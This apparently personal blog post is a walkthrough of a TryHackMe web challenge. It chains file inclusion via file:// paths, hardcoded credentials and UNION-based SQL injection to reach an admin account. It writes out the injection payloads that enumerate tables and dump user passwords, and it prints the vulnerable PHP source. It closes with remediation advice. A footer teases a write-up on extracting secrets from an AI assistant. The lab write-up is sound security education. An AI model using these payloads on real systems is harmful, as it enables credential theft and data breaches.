Skip to main content

Command Palette

Search for a command to run...

TryHackMe — Recruit Walkthrough

Published
7 min read
S
messy writer

Challenge Link: https://tryhackme.com/room/recruitwebchallenge


Introduction

The "Recruit" challenge on TryHackMe is a fantastic playground for demonstrating how low-severity vulnerabilities can be chained together to achieve total application compromise. In this scenario, we start as an unauthenticated attacker probing an internal API endpoint. By carefully analyzing error messages and bypassing a custom file path filter, we uncover hardcoded credentials. This initial foothold opens the door to an authenticated portal, where a classic database vulnerability allows us to escalate our privileges to the administrative level. It's a textbook example of why source code protection and input sanitization are critical defense-in-depth layers.


OBJECTIVE

Gain initial access to the HR portal, escalate privileges to the Admin user, and capture the associated flags.

VULNERABILITY

Local File Inclusion (LFI), Information Disclosure (Hardcoded Credentials), and UNION-Based SQL Injection.


Challenge Scenario

Recruit has just launched its new recruitment portal, allowing HR staff to manage candidate applications and administrators to oversee hiring decisions. While the platform appears functional, management suspects that security may have been overlooked during development. Your task is to assess the application like a real attacker, mapping its structure, abusing exposed functionality, and exploiting vulnerabilities.

Can you gain an initial foothold, escalate your access, and ultimately log in as the administrator*?*

  • Category: Web Application Security

  • Difficulty: Medium


Reconnaissance & Enumeration

The initial phase involved exploring the web application, which presented itself as a recruitment portal and an internal tool for fetching candidate Curriculum Vitae's (CV).

After enumerating the application for a while, the primary point of interest was an FAQ page detailing an API endpoint at /api.php. I mapped out the application structure and tested the provided endpoints.

  • Key Findings:

    • Finding 1: An api.php endpoint exists, describing an internal tool to fetch CVs via URLs.

    • Finding 2: The file.php endpoint accepts a cv parameter (/file.php?cv=<URL>).

    • Finding 3: Providing external URLs or standard loopback addresses (like http://localhost/) triggered a custom error: "Only local files are allowed". Supplying a direct file:///etc/passwd path triggered an "Access denied" error, indicating strict backend filtering.


Vulnerability Analysis

After enumerating the endpoint and observing the application's behavior, I determined that the application was vulnerable to Local File Inclusion, but heavily restricted. To verify this, I attempted to read the source code of file.php itself using the file:// protocol wrapper combined with the absolute web directory path.

Firing up Burp Suite and intercepting the session, I sent GET /file.php?cv=file:///var/www/html/file.php — and successfully retrieved the backend PHP logic. Analysis of this code revealed:

Response:

HTTP/1.1 200 OK
Date: Wed, 06 May 2026 13:51:08 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 1461
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain;charset=UTF-8

<?php
if (!isset($_GET['cv'])) {
    die('Missing cv parameter');
}

\(cv = \)_GET['cv'];

/*
|--------------------------------------------------------------------------
| Allow only local file access
|--------------------------------------------------------------------------
*/
if (strpos($cv, 'file://') !== 0) {
    die('Only local files are allowed');
}

/*
|--------------------------------------------------------------------------
| Convert file:// to filesystem path
|--------------------------------------------------------------------------
*/
\(filePath = str_replace('file://', '', \)cv);

/*
|--------------------------------------------------------------------------
| Resolve real path to prevent traversal
|--------------------------------------------------------------------------
*/
\(realPath = realpath(\)filePath);

/*
|--------------------------------------------------------------------------
| Restrict access to /var/www/html only
|--------------------------------------------------------------------------
*/
$allowedBase = '/var/www/html';

if (\(realPath === false || strpos(\)realPath, $allowedBase) !== 0) {
    die('Access denied');
}

/*
|--------------------------------------------------------------------------
| Display file contents
|--------------------------------------------------------------------------
*/
header('Content-Type: text/plain');
echo file_get_contents($realPath);

Exploitation

The exploitation phase followed a multi-step chain: Source Code DisclosureHardcoded CredentialsAuthenticated SQL Injection.

Step 1: Source Code Review & Initial Access

Since the application was built in PHP, I guessed that a config.php file likely existed under /var/www/html/. Using the LFI to read /var/www/html/config.php confirmed this — and revealed hardcoded HR credentials left behind by developers.

Requests

Response

By pairing the discovered credentials with the username hr—an educated guess that I later found hardcoded within index.php—I successfully authenticated to the dashboard and retrieved the user flag:

Step 2: Authenticated SQL Injection

Inside the HR dashboard, I discovered a candidate search feature at /dashboard.php?search=. Injecting a single quote (') immediately produced a verbose MySQL syntax error, confirming the parameter was unsanitized.

So, I first determined the number of columns in the backend query using ORDER BY:

test' ORDER BY 4 -- -

The page loaded normally, confirming 4 columns. It throws an error when I raised it to 5.

Error:

I then issued a UNION SELECT to enumerate the database schema, targeting information_schema.tables:

test' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() -- -

This revealed a users and candidates table.

With the table confirmed, I dumped all user credentials directly into the HTML table:

test' UNION SELECT 1,username,password,4 FROM users -- -

This extracted all credentials, including the admin account: admin:[REDACTED].


Post-Exploitation

After extracting the admin credentials, I terminated the HR session and authenticated as admin. This granted access to the administrative dashboard and revealed the admin flag.

Escalating to Admin also unlocked new application features, specifically the ability to "Approve" or "Reject" candidates via a new action parameter (?action=approve&id=1). This parameter represents a new attack surface for potential Remote Code Execution (RCE) or further database manipulation.


Risk

The vulnerabilities demonstrated in this challenge present severe risks to an organization:

  • Information Disclosure (High): The LFI vulnerability allowed the extraction of backend source code, laying bare the application's logic and exposing hardcoded secrets.

  • Authentication Bypass (Critical): Hardcoded credentials in configuration files allow any attacker who can read those files to completely bypass the login mechanism.

  • Data Breach (Critical): The SQL Injection vulnerability provided full read access to the backend database, leading to the theft of administrative credentials and potentially all candidate PII (Personally Identifiable Information).


Remediation

To secure the application, the following steps must be implemented:

  1. Remediate the LFI: Do not pass user-supplied input directly to file-system functions like file_get_contents(). If files must be read based on user input, use a strict cryptographic hash or a mapped database ID rather than a file path.

  2. Remove Hardcoded Secrets: Passwords should never be stored in plaintext within source code. Utilize environment variables (.env) or secure secret management systems, and ensure these are kept out of the webroot.

  3. Patch the SQL Injection: The search parameter is currently concatenated directly into the SQL query string. Developers must use Prepared Statements (Parameterized Queries) via PDO or MySQLi to ensure input is treated strictly as data, not executable code.

// Example Fix (PHP PDO):
\(stmt = \)pdo->prepare('SELECT id, name, position, status FROM candidates WHERE name LIKE :search');
\(stmt->execute(['search' => '%' . \)_GET['search'] . '%']);

Conclusion

The Recruit challenge is a great reminder that web security is an interconnected web. A simple, restricted LFI might seem relatively harmless if it can't read /etc/passwd, but exposing source code often leads to the discovery of credentials. Once inside, even basic SQL injection flaws can be devastating. Thorough enumeration and a systematic approach to reading the code you expose are the keys to fully compromising this application.


References

TryHackMe Writeups

Part 1 of 3

Walkthroughs and writeups for TryHackMe rooms, covering web exploitation, privilege escalation, forensics, OSINT, and more.

Up next

THM Writeup | HealthGPT

A safety-compliant AI assistant that has strict rules against revealing sensitive internal data.